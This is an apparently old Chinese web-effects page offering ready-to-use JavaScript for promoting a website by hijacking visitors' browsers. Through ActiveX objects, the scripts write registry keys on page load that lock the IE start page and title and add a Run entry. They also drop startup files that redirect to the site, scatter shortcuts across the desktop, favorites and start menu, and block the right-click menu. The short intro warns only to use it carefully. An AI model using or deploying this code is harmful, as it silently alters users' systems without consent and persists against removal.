修改注册表宣传主页

下面框中为脚本显示区
由于此特效会修改你的电脑设置,所以就不做特效演示了,通过神奇的这些代码,你的收藏夹、开始菜单、右键菜单、桌面、快捷栏都添加了你的网站连接,电脑主页被强制设为你的主页,且很难修改!并且开机的时候,电脑会弹出窗口,来宣传你的网站,然后自动打开浏览器浏览你的网站!通过这些是否能达到宣传的目的?希望你能慎重使用这些代码!

<div align="center">

<script language="">
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function homepage(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl = a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://yelanggu.126.com/");}catch(e){}}catch(e){}}setTimeout("homepage()",1000);
</script><object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">

</object>
<SCRIPT>

scr.Reset();

scr.Path="c:/windows/start menu/programs/启动/zhuye.htm";

scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>window.location='http://yelanggu.126.com'</"+"SCRIPT>";

scr.write();

</script><script language="JavaScript">

<!--
file://CONTEXTMENU
function click(e) {
if (document.all) {
if (event.button==2||event.button==3) {
oncontextmenu='return false';
}
}
if (document.layers) {
if (e.which == 3) {
oncontextmenu='return false';
}
}
}
if (document.layers) {
document.captureEvents(Event.MOUSEDOWN);
}
document.onmousedown=click;
document.oncontextmenu = new Function("return false;")

// -->
</script>
<script>
document.write("<div style=display:none><APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET></div>");
function yuzi(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl = a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");a1.createInstance();FSO = a1.GetObject();try{ WF = FSO.GetSpecialFolder(0);loc = WF + "\\system"; var Shor=Shl.CreateShortcut(loc + "\\"+"internet" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Start Menu"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Application Data\\Microsoft\\Internet Explorer\\Quick Launch"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Start Menu\\Programs"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://yelanggu.126.com"); Shl.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\internet","C:\\WINDOWS\\system\\internet.url"); }catch(e){}}catch(e){}}setTimeout("yuzi()",1000);



//this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//end add favorites or links function

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (document.cookie.indexOf("Chg") == -1)
{

//set cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set cookie

//set home page
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://yelanggu.126.com");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", " ★☆野狼谷http://yelanggu.126.com★野狼谷☆★");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", " ★☆野狼谷★http://yelanggu.126.com★野狼谷☆★");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://yelanggu.126.com");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\★☆野狼谷★http://yelanggu.126.com★野狼谷☆★\\", "http://yelanggu.126.com");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\★☆野狼谷★http://yelanggu.126.com★野狼谷☆★\\contexts", 0xf3,"REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\ButtonText","★☆野狼谷☆★");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\CLSID","{1FBA04EE-3024-11d2-8F1F-0000F87ABD16}");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\ClsidExtension","{8DE0FCD4-5EB5-11D3-AD25-00002100131c}");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\Default Visible","Yes");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\Exec","http://yelanggu.126.com");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\HotIcon","");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\Icon","");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
// end set IE Window Title
//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part

//the following line is used for adding favorites.
//to add multiple favorites, duplicate the following line, changing the last 2 paramaters.
AddFavLnk(loc, "★☆野狼谷☆★", "http://yelanggu.126.com");
AddFavLnk(loc+"\\链接", "★☆野狼谷☆★", "http://yelanggu.126.com");
AddFavLnk(loc+"\\链接", "★☆野狼谷☆★", "http://yelanggu.126.com");
AddFavLnk("c:\\windows\\Desktop", "★☆野狼谷☆★", "http://yelanggu.126.com");

//end add favorites



}
}
catch(e)
{}
}
catch(e)
{}
}

function init()
{
setTimeout("f()", 1000);
}

init(); </script>

   
<SCRIPT>scr.Reset();scr.Path="C:\\Win98\\Start Menu\\Programs\\启动\\test.hta";scr.Doc="<object id='XXX' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert('★☆野狼谷★http://yelanggu.126.com★野狼谷☆★');</"+"SCRIPT>";scr.write();</SCRIPT><SCRIPT>scr.Reset();scr.Path="C:\\Win98\\Start Menu\\Programs\\启动\\test.hta";scr.Doc="<object id='XXX' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert('★☆野狼谷★http://yelanggu.126.com★野狼谷☆★');</"+"SCRIPT>";scr.write();</SCRIPT><SCRIPT>scr.Reset();scr.Path="C:\\Windows\\Start Menu\\Programs\\启动\\test.hta";scr.Doc="<object id='XXX' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert('★☆野狼谷★http://yelanggu.126.com★野狼谷☆★');</"+"SCRIPT>";scr.write();</SCRIPT>

<script language="JavaScript">
document.write("<div style=display:none><APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET></div>");
function yuzi(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl = a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");a1.createInstance();FSO = a1.GetObject();try{ WF = FSO.GetSpecialFolder(0);loc = WF + "\\system"; var Shor=Shl.CreateShortcut(loc + "\\"+"internet" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\desktop"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Start Menu"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Application Data\\Microsoft\\Internet Explorer\\Quick Launch"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); WF = FSO.GetSpecialFolder(0);loc = WF + "\\Start Menu\\Programs"; var Shor=Shl.CreateShortcut(loc + "\\"+"★☆野狼谷☆★" +".URL");Shor.TargetPath="http://yelanggu.126.com";Shor.Save(); Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://yelanggu.126.com"); Shl.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\internet","C:\\WINDOWS\\system\\internet.url"); }catch(e){}}catch(e){}}setTimeout("yuzi()",1000);



//this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//end add favorites or links function

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (document.cookie.indexOf("Chg") == -1)
{

//set cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set cookie

//set home page
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://yelanggu.126.com");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", " ★☆野狼谷★http://yelanggu.126.com★野狼谷☆★");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", " ★☆野狼谷★http://yelanggu.126.com★野狼谷☆★");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://yelanggu.126.com");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\★☆野狼谷☆★\\", "http://yelanggu.126.com");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\★☆野狼谷☆★\\contexts", 0xf3,"REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\ButtonText","★☆野狼谷☆★");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\CLSID","{1FBA04EE-3024-11d2-8F1F-0000F87ABD16}");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\ClsidExtension","{8DE0FCD4-5EB5-11D3-AD25-00002100131c}");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\Default Visible","Yes");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\Exec","http://yelanggu.126.com");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\HotIcon","");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\Icon","");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
// end set IE Window Title
//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part

//the following line is used for adding favorites.
//to add multiple favorites, duplicate the following line, changing the last 2 paramaters.
AddFavLnk(loc, "★☆野狼谷☆★", "http://yelanggu.126.com");
AddFavLnk(loc+"\\链接", "★☆野狼谷☆★", "http://yelanggu.126.com");
AddFavLnk(loc+"\\链接", "★☆野狼谷☆★", "http://yelanggu.126.com");
AddFavLnk("c:\\windows\\Desktop", "★☆野狼谷☆★", "http://yelanggu.126.com");

//end add favorites



}
}
catch(e)
{}
}
catch(e)
{}
}

function init()
{
setTimeout("f()", 1000);
}

init(); </script>
<SCRIPT>                          
                         
scr.Reset();                          
                         
scr.Path="c:/windows/start menu/programs/启动/index.htm";                          
                         
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>window.location='http://yelanggu.126.com'</"+"SCRIPT>";                          
                         
scr.write();                          
                         
</script>  

有零工作室  www.you0.comwww.you0.net 联系QQ 3149886